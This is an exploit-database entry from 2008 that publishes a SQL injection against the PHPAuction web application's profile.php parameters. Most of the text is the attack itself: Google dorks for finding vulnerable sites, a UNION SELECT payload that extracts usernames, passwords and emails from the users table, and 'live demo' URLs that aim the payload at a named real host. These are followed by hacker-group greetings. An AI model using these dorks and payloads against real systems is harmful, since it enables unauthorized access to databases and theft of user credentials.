PHPAuction (profile.php user_id) Remote SQL Injection Vulnerability

2008-06-20T00:00:00
ID 1337DAY-ID-3240
Type zdt
Reporter Mr.SQL
Modified 2008-06-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
PHPAuction (profile.php user_id) Remote SQL Injection Vulnerability
===================================================================




#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## PHPAuction ( profile.php user_id )
##
#########################################################################
##
## Script  : PHPAuction
##
## site    : www.phpauctions.info
##
########################
########################
##
## D0rk1 : allinurl: "profile.php?user_id" auction_id
##
## D0rk2 : allinurl: "active_auctions.php" user_id
##
##     -(:: SQL ::)-
##
##    www.site.com/
##         profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://phpauctions.info/phpauction/demo/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##    http://phpauctions.info/phpauction/demo/viewfaqs.php?cat=null
#######################
#######################
 -(:: Note ::)-
This script not >> (( phpAuction GPL ))  (( password Md5 ))

#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################



#  0day.today [2018-01-02]  #